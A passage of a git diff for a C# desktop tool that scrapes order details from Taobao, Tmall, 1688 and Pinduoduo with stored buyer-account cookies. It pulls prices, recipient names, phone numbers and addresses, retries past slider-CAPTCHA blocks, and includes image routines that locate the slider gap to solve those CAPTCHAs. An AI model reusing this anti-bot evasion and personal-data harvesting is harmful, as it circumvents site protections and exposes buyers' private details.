cookies); + html = GetHtml.UrlDecode(html); + buyPrice = BaseRegex.GetMatchRegexString(ref html, "¥([\\s\\S]+?)"); + if (html.Contains("window.rawData=null;")) + { + MessageBox.Show("买手号已掉线,无法读取"); + return ""; + } + if (string.IsNullOrEmpty(buyPrice)) + { + decimal buyPriceTemp = BaseRegex.GetDecimalJson(ref html, "displayAmount"); + if (buyPriceTemp > 0) + { + buyPrice = (buyPriceTemp / 100).ToString(); + } + } + + string provinceName = BaseRegex.GetStringJson(ref html, "provinceName"); + string cityName = BaseRegex.GetStringJson(ref html, "cityName"); + string districtName = BaseRegex.GetStringJson(ref html, "districtName"); + string shippingAddress = BaseRegex.GetStringJson(ref html, "shippingAddress"); + addressDetail = provinceName + cityName + districtName + shippingAddress; + receiveName = BaseRegex.GetStringJson(ref html, "receiveName"); + mobile = BaseRegex.GetStringJson(ref html, "mobile"); + } + else + { + TbHttpReauest tbRequest = new TbHttpReauest(); + var payAccount = TaoBaoBuyUser.buyUserCookies.First(x => x.Value.UserName == payMobile); + if (payAccount.Key.site_id==3)//1688读进货价 + { + tbRequest.url = "https://trade.1688.com/order/new_step_order_detail.htm?orderId=" + orderId_buy; + tbRequest.cookies = Cookies; + string html = tbRequest.MakeRequests(); + //把 GBK 数据 转换为 URL 编码的字符串 + html = GetHtml.UrlDecode(html).Replace("\\", ""); + + System.Text.RegularExpressions.Regex rg = new System.Text.RegularExpressions.Regex("(?<=(total-price\">))[.\\s\\S]*?(?=())", System.Text.RegularExpressions.RegexOptions.Multiline | System.Text.RegularExpressions.RegexOptions.Singleline); + buyPrice = rg.Match(html).Value; + } + else + { + tbRequest.url = "https://trade.taobao.com/trade/detail/trade_order_detail.htm?biz_order_id=" + orderId_buy; + tbRequest.cookies = Cookies; + string html = tbRequest.MakeRequests(); + html = GetHtml.UrlDecode(html).Replace("\\", ""); + + + //url = "https://buyertrade.taobao.com/trade/itemlist/asyncBought.htm?action=itemlist/BoughtQueryAction&event_submit_do_query=1&_input_charset=utf8"; + //string refer = "https://buyertrade.taobao.com/trade/itemlist/list_bought_items.htm"; + //string data = "pageNum=1&pageSize=15&auctionTitle=" + orderId_buy + "&itemTitle=" + orderId_buy + "&prePageNo=1"; + //html = GetPostTaobaoHtml.UploadTaobaoPost(url, refer, true, data, true, Cookies); + + buyPrice = BaseRegex.GetMatchRegexString(ref html, "\"name\":\"实付款\",\"value\":\"¥([\\s\\S]+?)\""); + if (string.IsNullOrEmpty(buyPrice)) + { + string url = "https://trade.taobao.com/trade/detail/trade_order_detail.htm?biz_order_id=" + orderId_buy; + //string url = "https://trade.taobao.com/trade/detail/trade_order_detail.htm?biz_order_id=" + orderId_buy; + html = GetPostTaobaoHtml.UploadTaobao(url, url, true, Cookies); + if (html.Contains("滑动一下") || html.Contains("验证码") || html.Contains("_____tmd_____/punish")) + { + html = GetPostTaobaoHtml.UploadTaobao(url, url, true);//用滑动之后的cookies获取 + if (html.Contains("滑动") || html.Contains("_____tmd_____/punish")) + { + url = "https://trade.tmall.com/detail/orderDetail.htm?biz_order_id=" + orderId_buy + "&forward_action="; + html = GetPostTaobaoHtml.UploadTaobao(url, url, true, Cookies); + } + } + html = GetHtml.UrlDecode(html).Replace("\\", ""); + buyPrice = BaseRegex.GetMatchRegexString(ref html, "\"name\":\"实付款\",\"value\":\"¥([\\s\\S]+?)\""); + if (string.IsNullOrEmpty(buyPrice)) + { + var arrPrice = BaseRegex.GetMatchRegex(ref html, "({\"content\":[{\"data\":{\"money\":[\\s\\S]+?\"text\":\"[\\s\\S]+?\",\"type\":\"label\"}})"); + for (int i = 0; i < arrPrice.Count; i++) + { + var item = arrPrice[i].ToString(); + if (item.Contains("实付款")) + { + buyPrice = BaseRegex.GetMatchRegexString(ref item, "\"text\":\"¥([\\s\\S]+?)\""); + break; + } + } + } + + } + if (string.IsNullOrEmpty(buyPrice)) + { + buyPrice = BaseRegex.GetMatchRegexString(ref html, "\"name\":\"订单总金额\",\"value\":\"([\\s\\S]+?)\""); + } + + if (string.IsNullOrEmpty(buyPrice)) + { + buyPrice = BaseRegex.GetStringJson(ref html, "priceInfo"); + } + + if (string.IsNullOrEmpty(buyPrice)) + { + decimal tempPrice = 0M; + try + { + var tempPriceInfo = System.Text.RegularExpressions.Regex.Matches(html, "priceInfo\":\\[\\{\"text\":\"¥[\\s\\S]+\",\"type\":\"label\"\\}\\],\"quantity\":\"[\\d]+?\"\\}\\]"); + if (tempPriceInfo.Count > 0) + { + string tempPriceInfoStr = tempPriceInfo[0].ToString(); + string tempPriceStr = BaseRegex.GetMatchRegexString(ref tempPriceInfoStr, "priceInfo\":\\[\\{\"text\":\"¥([\\s\\S]+)\",\"type\":\"label\"\\}\\],\"quantity\":\"([\\d]+?)\"\\}\\]"); + if (!string.IsNullOrEmpty(tempPriceStr)) + { + tempPrice = Convert.ToDecimal(tempPriceStr);//单个商品价格 + int quantity = BaseRegex.GetIntJson(ref tempPriceInfoStr, "quantity");//数量 + tempPrice = tempPrice * quantity; + buyPrice = tempPrice.ToString(); + } + + } + } + catch (Exception) + { + try + { + + var tempPriceInfo = System.Text.RegularExpressions.Regex.Matches(html, "priceInfo\":\\[\\{\"text\":\"¥[\\s\\S]+\",\"type\":\"label\"\\}\\],\"quantity\":\"[\\d]+?\"\\}\\]\\},"); + if (tempPriceInfo.Count > 0) + { + string tempPriceInfoStr = tempPriceInfo[0].ToString(); + string tempPriceStr = BaseRegex.GetMatchRegexString(ref tempPriceInfoStr, "priceInfo\":\\[\\{\"text\":\"¥([\\s\\S]+)\",\"type\":\"label\"\\}\\],\"quantity\":\"([\\d]+?)\"\\}\\]"); + if (!string.IsNullOrEmpty(tempPriceStr)) + { + tempPrice = Convert.ToDecimal(tempPriceStr);//单个商品价格 + int quantity = BaseRegex.GetIntJson(ref tempPriceInfoStr, "quantity");//数量 + tempPrice = tempPrice * quantity; + buyPrice = tempPrice.ToString(); + } + + } + + } + catch (Exception) + { + + //throw; + } + //throw; + } + } + if (string.IsNullOrEmpty(buyPrice)) + { + string url = "https://buyertrade.taobao.com/trade/itemlist/asyncBought.htm?action=itemlist/BoughtQueryAction&event_submit_do_query=1&_input_charset=utf8"; + string refer = "https://buyertrade.taobao.com/trade/itemlist/list_bought_items.htm"; + string data = "pageNum=1&pageSize=15&auctionTitle=" + orderId_buy + "&itemTitle=" + orderId_buy + "&prePageNo=1"; + string htmlx = GetPostTaobaoHtml.UploadTaobaoPost(url, refer, true, data, Cookies); + string tempStr = BaseRegex.GetMatchRegexString(ref htmlx, "(\"payInfo\":\\{\"actualFee\":\"[\\s\\S]+?\",)"); + if (!string.IsNullOrEmpty(tempStr)) + { + buyPrice = BaseRegex.GetStringJson(ref tempStr, "actualFee"); + } + if (string.IsNullOrEmpty(buyPrice)) + { + htmlx = GetPostTaobaoHtml.UploadTaobaoPost(url, refer, true, data); + tempStr = BaseRegex.GetMatchRegexString(ref htmlx, "(\"payInfo\":\\{\"actualFee\":\"[\\s\\S]+?\",)"); + if (!string.IsNullOrEmpty(tempStr)) + { + buyPrice = BaseRegex.GetStringJson(ref tempStr, "actualFee"); + } + } + + } + if (!string.IsNullOrEmpty(buyPrice)) + { + buyPrice = buyPrice.Replace("¥", ""); + } + string address = BaseRegex.GetStringJson(ref html, "address"); + if (!string.IsNullOrEmpty(address)) + { + var receiverInfoArr = address.Split(','); + if (receiverInfoArr.Length == 4) + { + receiveName = receiverInfoArr[0]; + mobile = receiverInfoArr[1]; + addressDetail = receiverInfoArr[2]; + } + } + + } + + } + + if (string.IsNullOrEmpty(buyPrice)) + { + return "0"; + } + return buyPrice; + } + + + #endregion + + public bool isReturnProduct(string orderId_buy, string cookies) + { + if (orderId_buy.Contains("-")) + { + string url = BaseClass.PddMobileUrl + "order.html?order_sn=" + orderId_buy + + "&refer_page_name=my_order&refer_page_id=my_order_1513009667550_P4xCgmERE6&refer_page_sn=10032"; + string refere = BaseClass.PddMobileUrl; + string html = GetPostTaobaoHtml.UploadTaobao(url, refere, true, cookies); + html = GetHtml.UrlDecode(html); + if (html.Contains("退款成功(详情)")) + { + return true; + } + } + return false; + } + + public void ResetErrorSend() + { + string data = UserLogin.GetSignaturex(); + string url = BaseClass.BuildObjString("pay_group_order&act=reset_status"); + string html = GetHtml.PostUtf8(url, data); + if (html != "ok") + { + } + } + + public string ExpressNames = "申通快递百世快递顺丰快递圆通快递赛澳递晟邦物流中通快递全峰快递优速快递邮政EMS天天快递京东配送韵达快递快捷快递国通快递宅急送快递如风达德邦快递邮政快递包裹龙邦快递联邦快递九曳供应链南京晟邦万象物流立即送门对门安达信海外快递飞远物流汇文快递黄马甲速尔快递亚马逊物流黑猫宅急便上海赛澳递城市100芝麻开门顺捷丰达汇通小红马其他跨越速递usps青岛安捷贝海国际速递环球速运全一快递远成快运联众国际快运天地华宇中邮速递EMS-国际件中铁物流新邦物流Flash Express新顺丰NSFDCS GLOBAL日日顺物流苏宁快递百世快运德邦物流微特派AAE全球专递AramexAsendia USACity-LinkCOEDHL德国DHL全球DHL中国EMS国际FedEx美国FedEx中国OCSOnTracTNTUPS阿尔巴尼亚邮政阿根廷邮政阿联酋邮政爱沙尼亚邮政奥地利邮政澳大利亚邮政巴基斯坦邮政巴西邮政白俄罗斯邮政百福东方包裹信件保加利亚邮政比利时邮政波兰邮政传喜物流大田物流递四方俄速通法国邮政凡宇快递飞豹快递飞远(爱彼西)配送芬兰邮政哥伦比亚邮政韩国邮政恒路物流华企快运加运美佳吉快运佳怡物流嘉里大通捷克邮政筋斗云物流京广速递克罗地亚邮政拉脱维亚邮政黎巴嫩邮政联昊通马耳他邮政马其顿邮政毛里求斯邮政秘鲁邮政民邦快递民航快递明亮物流摩尔多瓦邮政南非邮政挪威邮政葡萄牙邮政全日通日本邮政瑞典邮政瑞士邮政塞尔维亚邮政三态速递沙特邮政圣安物流盛丰物流盛辉物流斯洛伐克邮政斯洛文尼亚邮政穗佳物流泰国邮政土耳其邮政万家物流乌克兰邮政西班牙邮政信丰物流匈牙利邮政亚风速递亚美尼亚邮政燕文物流意大利邮政银捷速递印度邮政英国皇家邮政邮政标准快递邮政国际包裹越丰物流运通中港快递增益速递智利邮政中俄快递中铁快运快服务快递优邦国际速运天际快递飞洋快递斑马物联网易客满京东大件物流速必达"; + } + + +} diff --git a/Work/Base64ChangeImgUrl.cs b/Work/Base64ChangeImgUrl.cs new file mode 100644 index 0000000..473e2df --- /dev/null +++ b/Work/Base64ChangeImgUrl.cs @@ -0,0 +1,317 @@ +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Drawing.Drawing2D; +using System.Drawing.Imaging; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Work +{ + public class Base64ChangeImgUrl + { + + /// + /// 将Base64字符串转换为图片 + /// + /// + /// + public Bitmap ToImage(string imgBase64) + { + imgBase64 = imgBase64.Substring("data:image/jpeg;base64,".Length); + byte[] bytes = Convert.FromBase64String(imgBase64); + MemoryStream ms = new MemoryStream(bytes); + Image mImage = Image.FromStream(ms); + Bitmap bmpt = new Bitmap(ms); + return bmpt; + } + /// + /// 图片转Base64 + /// + /// 图片的完整路径 + /// + public static string ImgToBase64(Bitmap bmp) + { + try + { + MemoryStream ms = new MemoryStream(); + bmp.Save(ms, System.Drawing.Imaging.ImageFormat.Jpeg); + byte[] arr = new byte[ms.Length]; + ms.Position = 0; + ms.Read(arr, 0, (int)ms.Length); + ms.Close(); + return Convert.ToBase64String(arr); + } + catch (Exception) + { + return null; + } + } + + + public string CutZoom(string Base64pic) + { + + byte[] arr2 = Convert.FromBase64String(Base64pic); + Bitmap bmp3 = null; + using (MemoryStream ms2 = new MemoryStream(arr2)) + { + Bitmap bmp2 = new System.Drawing.Bitmap(ms2); + bmp3 = GetThumbnail(bmp2, 130, 270); + } + + return ImgToBase64(bmp3); + + } + /// + /// 图片转为二进制 + /// + /// + /// + public byte[] GetPictureData(Bitmap Bitmap) + { + MemoryStream ms = null; + try + { + ms = new MemoryStream(); + Bitmap.Save(ms, Bitmap.RawFormat); + byte[] byteImage = new Byte[ms.Length]; + byteImage = ms.ToArray(); + return byteImage; + } + catch (ArgumentNullException ex) + { + throw ex; + } + finally + { + ms.Close(); + } + } + + public byte[] Base64ChangeBuffer(String imgBase64) + { + try + { + if (!string.IsNullOrEmpty(imgBase64)) + { + return GetPictureData(ToImage(imgBase64)); + } + return null; + } + catch + { + return null; + } + } + public static Bitmap GetThumbnail(Bitmap b, int destHeight, int destWidth) + { + System.Drawing.Image imgSource = b; + System.Drawing.Imaging.ImageFormat thisFormat = imgSource.RawFormat; + int sW = 0, sH = 0; + // 按比例缩放 + int sWidth = imgSource.Width; + int sHeight = imgSource.Height; + if (sHeight > destHeight || sWidth > destWidth) + { + if ((sWidth * destHeight) > (sHeight * destWidth)) + { + sW = destWidth; + sH = (destWidth * sHeight) / sWidth; + } + else + { + sH = destHeight; + sW = (sWidth * destHeight) / sHeight; + } + } + else + { + sW = sWidth; + sH = sHeight; + } + Bitmap outBmp = new Bitmap(destWidth, destHeight); + Graphics g = Graphics.FromImage(outBmp); + g.Clear(Color.Transparent); + // 设置画布的描绘质量 + g.CompositingQuality = CompositingQuality.HighQuality; + g.SmoothingMode = SmoothingMode.HighQuality; + g.InterpolationMode = InterpolationMode.HighQualityBicubic; + g.DrawImage(imgSource, new Rectangle((destWidth - sW) / 2, (destHeight - sH) / 2, sW, sH), 0, 0, imgSource.Width, imgSource.Height, GraphicsUnit.Pixel); + g.Dispose(); + // 以下代码为保存图片时,设置压缩质量 + EncoderParameters encoderParams = new EncoderParameters(); + long[] quality = new long[1]; + quality[0] = 100; + EncoderParameter encoderParam = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, quality); + encoderParams.Param[0] = encoderParam; + imgSource.Dispose(); + return outBmp; + } + + public int CalculateNick(Bitmap bitmap, int v) + { + int iNickX = 0; + int iDis = 5; //差异值 + List lstiNickX = new List(); + for (int y = 0; y < bitmap.Height; y++) + { + for (int x = 0; x < bitmap.Width - v; x++) + { + Color color1 = bitmap.GetPixel(x, y); + Color color2 = bitmap.GetPixel(x + 1, y); + int icolor1 = GetRGBFromColor(color1); + int icolor2 = GetRGBFromColor(color2); + double dDistance = GetDistance(color2, color1); + if (dDistance > iDis && icolor2 < icolor1) + { + for (int i = 0; i < v + v / 2; i++) + { + iNickX = x + i; + if (iNickX >= bitmap.Width - 1) + { + continue; + } + + Color colorNickPre = bitmap.GetPixel(iNickX, y); + Color colorNickAft = bitmap.GetPixel(iNickX + 1, y); + + int icolorNickPre = GetRGBFromColor(colorNickPre); + int icolorNickAft = GetRGBFromColor(colorNickAft); + double dNickDistance = GetDistance(colorNickAft, colorNickPre); + if (dNickDistance > dDistance && icolorNickAft > icolorNickPre) + { + int iGap = Math.Abs(iNickX - x - v); + if (iGap <= 2) + { + lstiNickX.Add(x); + } + break; + } + } + } + } + } + + if (lstiNickX.Count > 0) + { + iNickX = GetRight(lstiNickX); + //label1.Text = iNickX.ToString(); + } + return iNickX; + + } + + /// + /// 滑块的宽度 + /// + /// + /// + /// + public int CalculateNickNew(Bitmap bitmap, int v = 39) + { + int iNickX = 0; + decimal idif = 0.50m; // 差异比例 + List lstiNickX = new List(); + for (int y = 0; y < bitmap.Height; y++) + { + for (int x = 0; x < bitmap.Width - v - 1; x++) + { + Color color1 = bitmap.GetPixel(x, y); + Color color2 = bitmap.GetPixel(x + 1, y); + int icolor1 = color1.R + color1.G + color1.B; + int icolor2 = color2.R + color2.G + color2.B; + if (color2.R < color1.R * (1 - idif) && color2.G < color1.G * (1 - idif) && color2.G < color1.G * (1 - idif)) + { + for (int i = 1; i < v + v / 2; i++) + { + iNickX = x + i; + if (iNickX >= bitmap.Width - 1) + { + continue; + } + + Color color3 = bitmap.GetPixel(iNickX, y); + Color color4 = bitmap.GetPixel(iNickX + 1, y); + + int icolor3 = GetRGBFromColor(color3); + int icolor4 = GetRGBFromColor(color4); + if (color3.R < color4.R * (1 - idif) && color3.G < color4.G * (1 - idif) && color3.G < color4.G * (1 - idif)) + { + int iGap = Math.Abs(iNickX - x - v); + if (iGap <= 2) + { + lstiNickX.Add(x); + break; + } + } + } + } + } + } + + if (lstiNickX.Count > 0) + { + iNickX = GetRight(lstiNickX); + //label1.Text = iNickX.ToString(); + } + return iNickX + 1; + + } + + public int GetRGBFromColor(Color color) + { + return (int)(((int)color.B << 16) | (ushort)(((ushort)color.G << 8) | color.R)); + byte r = color.R; + byte g = color.G; + byte b = color.B; + //转化为32bit RGB值: + int rgb = r + g * 256 + b * 256 * 256; + return rgb; + } + private double GetDistance(Color color1, Color color2) + { + double y1, u1, v1, y2, u2, v2; + y1 = 0.299 * color1.R + 0.587 * color1.G + 0.114 * color1.B; + u1 = -0.14713 * color1.R - 0.28886 * color1.G + 0.436 * color1.B; + v1 = 0.615 * color1.R - 0.51498 * color1.G - 0.10001 * color1.B; + y2 = 0.299 * color2.R + 0.587 * color2.G + 0.114 * color2.B; + u2 = -0.14713 * color2.R - 0.28886 * color2.G + 0.436 * color2.B; + v2 = 0.615 * color2.R - 0.51498 * color2.G - 0.10001 * color2.B; + return Math.Sqrt((y1 - y2) * (y1 - y2) + (u1 - u2) * (u1 - u2) + (v1 - v2) * (v1 - v2)); + } + private int GetRight(List lstiNickX) + { + //int iMaxValue = lstiNickX[0]; + //int iMaxTime = 0; + + //for (int i = 0; i < lstiNickX.Count; i++) + //{ + // int iCurrentTime = 1; + // for (int j = 0; j < i - 1; j++) + // { + // if(lstiNickX[j] == lstiNickX[i]) + // { + // iCurrentTime++; + // if(iCurrentTime > iMaxTime) + // { + // iMaxTime = iCurrentTime; + // iMaxValue = lstiNickX[j]; + // } + // } + // } + //} + //return iMaxValue; + + var res = from n in lstiNickX + group n by n into g + orderby g.Count() descending + select g; + var gr = res.First(); + return gr.Key; + } + + } +} diff --git a/Work/BaseForms/BaseForm.Designer.cs b/Work/BaseForms/BaseForm.Designer.cs new file mode 100644 index 0000000..dd82320 --- /dev/null +++ b/Work/BaseForms/BaseForm.Designer.cs @@ -0,0 +1,177 @@ + +namespace Work.BaseForms +{ + partial class BaseForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.panel2 = new System.Windows.Forms.Panel(); + this.pbMinBase = new System.Windows.Forms.PictureBox(); + this.pbNormalBase = new System.Windows.Forms.PictureBox(); + this.pbMaxBase = new System.Windows.Forms.PictureBox(); + this.pictureBox3 = new System.Windows.Forms.PictureBox(); + this.lbTitle = new System.Windows.Forms.Label(); + this.pbCloseBase = new System.Windows.Forms.PictureBox(); + this.panel2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pbMinBase)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.pbNormalBase)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.pbMaxBase)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox3)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.pbCloseBase)).BeginInit(); + this.SuspendLayout(); + // + // panel2 + // + this.panel2.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.panel2.Controls.Add(this.pbMinBase); + this.panel2.Controls.Add(this.pbNormalBase); + this.panel2.Controls.Add(this.pbMaxBase); + this.panel2.Controls.Add(this.pictureBox3); + this.panel2.Controls.Add(this.lbTitle); + this.panel2.Controls.Add(this.pbCloseBase); + this.panel2.Dock = System.Windows.Forms.DockStyle.Top; + this.panel2.Location = new System.Drawing.Point(0, 0); + this.panel2.Name = "panel2"; + this.panel2.Size = new System.Drawing.Size(386, 32); + this.panel2.TabIndex = 2; + this.panel2.MouseDown += new System.Windows.Forms.MouseEventHandler(this.panel2_MouseDown); + this.panel2.MouseMove += new System.Windows.Forms.MouseEventHandler(this.panel2_MouseMove); + // + // pbMinBase + // + this.pbMinBase.Dock = System.Windows.Forms.DockStyle.Right; + this.pbMinBase.Image = global::Work.Properties.Resources.min; + this.pbMinBase.Location = new System.Drawing.Point(258, 0); + this.pbMinBase.Name = "pbMinBase"; + this.pbMinBase.Size = new System.Drawing.Size(32, 32); + this.pbMinBase.SizeMode = System.Windows.Forms.PictureBoxSizeMode.CenterImage; + this.pbMinBase.TabIndex = 1; + this.pbMinBase.TabStop = false; + this.pbMinBase.Click += new System.EventHandler(this.PictureBox2_Click); + this.pbMinBase.MouseLeave += new System.EventHandler(this.PictureBox2_MouseLeave); + this.pbMinBase.MouseHover += new System.EventHandler(this.PictureBox2_MouseHover); + // + // pbNormalBase + // + this.pbNormalBase.Dock = System.Windows.Forms.DockStyle.Right; + this.pbNormalBase.Image = global::Work.Properties.Resources.normal; + this.pbNormalBase.Location = new System.Drawing.Point(290, 0); + this.pbNormalBase.Name = "pbNormalBase"; + this.pbNormalBase.Size = new System.Drawing.Size(32, 32); + this.pbNormalBase.SizeMode = System.Windows.Forms.PictureBoxSizeMode.CenterImage; + this.pbNormalBase.TabIndex = 6; + this.pbNormalBase.TabStop = false; + this.pbNormalBase.Visible = false; + this.pbNormalBase.Click += new System.EventHandler(this.pbNormalBase_Click); + this.pbNormalBase.MouseLeave += new System.EventHandler(this.pbNormalBase_MouseLeave); + this.pbNormalBase.MouseHover += new System.EventHandler(this.pbNormalBase_MouseHover); + // + // pbMaxBase + // + this.pbMaxBase.Dock = System.Windows.Forms.DockStyle.Right; + this.pbMaxBase.Image = global::Work.Properties.Resources.max; + this.pbMaxBase.Location = new System.Drawing.Point(322, 0); + this.pbMaxBase.Name = "pbMaxBase"; + this.pbMaxBase.Size = new System.Drawing.Size(32, 32); + this.pbMaxBase.SizeMode = System.Windows.Forms.PictureBoxSizeMode.CenterImage; + this.pbMaxBase.TabIndex = 5; + this.pbMaxBase.TabStop = false; + this.pbMaxBase.Visible = false; + this.pbMaxBase.Click += new System.EventHandler(this.pbMaxBase_Click); + this.pbMaxBase.MouseLeave += new System.EventHandler(this.pbMaxBase_MouseLeave); + this.pbMaxBase.MouseHover += new System.EventHandler(this.pbMaxBase_MouseHover); + // + // pictureBox3 + // + this.pictureBox3.BackColor = System.Drawing.Color.Transparent; + this.pictureBox3.Image = global::Work.Properties.Resources.icon; + this.pictureBox3.Location = new System.Drawing.Point(5, 3); + this.pictureBox3.Name = "pictureBox3"; + this.pictureBox3.Size = new System.Drawing.Size(23, 23); + this.pictureBox3.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; + this.pictureBox3.TabIndex = 3; + this.pictureBox3.TabStop = false; + // + // lbTitle + // + this.lbTitle.AutoSize = true; + this.lbTitle.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.lbTitle.ForeColor = System.Drawing.Color.White; + this.lbTitle.Location = new System.Drawing.Point(31, 6); + this.lbTitle.Name = "lbTitle"; + this.lbTitle.Size = new System.Drawing.Size(45, 17); + this.lbTitle.TabIndex = 2; + this.lbTitle.Text = "label1"; + // + // pbCloseBase + // + this.pbCloseBase.Dock = System.Windows.Forms.DockStyle.Right; + this.pbCloseBase.Image = global::Work.Properties.Resources.close; + this.pbCloseBase.Location = new System.Drawing.Point(354, 0); + this.pbCloseBase.Name = "pbCloseBase"; + this.pbCloseBase.Size = new System.Drawing.Size(32, 32); + this.pbCloseBase.SizeMode = System.Windows.Forms.PictureBoxSizeMode.CenterImage; + this.pbCloseBase.TabIndex = 0; + this.pbCloseBase.TabStop = false; + this.pbCloseBase.Click += new System.EventHandler(this.PictureBox1_Click); + this.pbCloseBase.MouseLeave += new System.EventHandler(this.PictureBox1_MouseLeave); + this.pbCloseBase.MouseHover += new System.EventHandler(this.PictureBox1_MouseHover); + // + // BaseForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.ClientSize = new System.Drawing.Size(386, 183); + this.Controls.Add(this.panel2); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None; + this.Name = "BaseForm"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "BaseForm"; + this.Load += new System.EventHandler(this.LcBaseForm_Load); + this.panel2.ResumeLayout(false); + this.panel2.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pbMinBase)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.pbNormalBase)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.pbMaxBase)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox3)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.pbCloseBase)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Panel panel2; + private System.Windows.Forms.PictureBox pbMinBase; + private System.Windows.Forms.PictureBox pbNormalBase; + private System.Windows.Forms.PictureBox pbMaxBase; + private System.Windows.Forms.PictureBox pictureBox3; + private System.Windows.Forms.Label lbTitle; + protected System.Windows.Forms.PictureBox pbCloseBase; + } +} \ No newline at end of file diff --git a/Work/BaseForms/BaseForm.cs b/Work/BaseForms/BaseForm.cs new file mode 100644 index 0000000..2b5d53c --- /dev/null +++ b/Work/BaseForms/BaseForm.cs @@ -0,0 +1,279 @@ +using AllBase; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace Work.BaseForms +{ + public partial class BaseForm : Form + { + const int WM_NCHITTEST = 0x0084; + const int HTLEFT = 10; //左边界 + const int HTRIGHT = 11; //右边界 + const int HTTOP = 12; //上边界 + const int HTTOPLEFT = 13; //左上角 + const int HTTOPRIGHT = 14; //右上角 + const int HTBOTTOM = 15; //下边界 + const int HTBOTTOMLEFT = 0x10; //左下角 + const int HTBOTTOMRIGHT = 17; //右下角 + + protected bool Minimized { get { return this.pbMinBase.Visible; } set { this.pbMinBase.Visible = value; } } + + protected override void WndProc(ref Message m) + { + switch (m.Msg) + { + case WM_NCHITTEST: + base.WndProc(ref m); + Point vPoint = new Point((int)m.LParam & 0xFFFF, + (int)m.LParam >> 16 & 0xFFFF); + vPoint = PointToClient(vPoint); + if (vPoint.X <= 5) + if (vPoint.Y <= 5) + m.Result = (IntPtr)HTTOPLEFT; + else if (vPoint.Y >= ClientSize.Height - 5) + m.Result = (IntPtr)HTBOTTOMLEFT; + else m.Result = (IntPtr)HTLEFT; + else if (vPoint.X >= ClientSize.Width - 5) + if (vPoint.Y <= 5) + m.Result = (IntPtr)HTTOPRIGHT; + else if (vPoint.Y >= ClientSize.Height - 5) + m.Result = (IntPtr)HTBOTTOMRIGHT; + else m.Result = (IntPtr)HTRIGHT; + else if (vPoint.Y <= 5) + m.Result = (IntPtr)HTTOP; + else if (vPoint.Y >= ClientSize.Height - 5) + m.Result = (IntPtr)HTBOTTOM; + break; + default: + base.WndProc(ref m); + break; + } + } + public BaseForm() + { + InitializeComponent(); + this.MaximumSize = new Size(Screen.PrimaryScreen.WorkingArea.Width, Screen.PrimaryScreen.WorkingArea.Height); + if (FileBase.Exists(BaseClass.ProgromLogoIco)) + { + Image img = Image.FromFile(BaseClass.ProgromLogoIco); + pictureBox3.Image = img; + } + } + + private void LcBaseForm_Load(object sender, EventArgs e) + { + if (BaseClass.Ico != null) + Iconx = Icon = BaseClass.Ico; + else + Iconx = Icon = BaseClass.Ico = ImageBuild.ConvertToIcon(Properties.Resources.icon); + + + if (this.IsShowMax) + { + if (this.WindowState == FormWindowState.Maximized) + { + this.pbMaxBase.Visible = false; + this.pbNormalBase.Visible = true; + } + else + { + this.pbMaxBase.Visible = true; + this.pbNormalBase.Visible = false; + } + } + } + + private void PictureBox2_Click(object sender, EventArgs e) + { + WindowState = FormWindowState.Minimized; + } + + public virtual void PictureBox1_Click(object sender, EventArgs e) + { + //pictureBox3.Image?.Dispose(); + Close(); + } + + private Icon _iconx; + public Icon Iconx + { + set + { + _iconx = value; + if (_iconx == null) return; + + using (MemoryStream mStream = new MemoryStream()) + { + _iconx.Save(mStream); + Image image = Image.FromStream(mStream); + pictureBox3.Image = image; + } + } + } + + private bool isShowMax = false; + public bool IsShowMax + { + get { return isShowMax; } + set + { + isShowMax = value; + if (isShowMax) + { + if (this.WindowState == FormWindowState.Maximized) + { + this.pbMaxBase.Visible = false; + this.pbNormalBase.Visible = true; + } + else + { + this.pbMaxBase.Visible = true; + this.pbNormalBase.Visible = false; + } + } + else + { + this.pbMaxBase.Visible = false; + this.pbNormalBase.Visible = false; + } + } + } + + public string TitleText + { + get + { + return Text; + } + set + { + Text = lbTitle.Text = value; + } + } + private Point mouseOffset;//记录鼠标指针的坐标 + private bool isMouseDown;//记录鼠标左键是否按下 + private void Panel1_MouseMove(object sender, MouseEventArgs e) + { + if (isMouseDown) + {//获取鼠标的位置 + Point mousePos = MousePosition; + mousePos.Offset(mouseOffset.X, mouseOffset.Y); + Location = mousePos; + } + } + + private void Panel1_MouseDown(object sender, MouseEventArgs e) + { + if (e.Button == MouseButtons.Left) + { + mouseOffset = new Point(-e.X, -e.Y); + isMouseDown = true; + } + } + + private void Panel1_MouseUp(object sender, MouseEventArgs e) + { + isMouseDown = false; 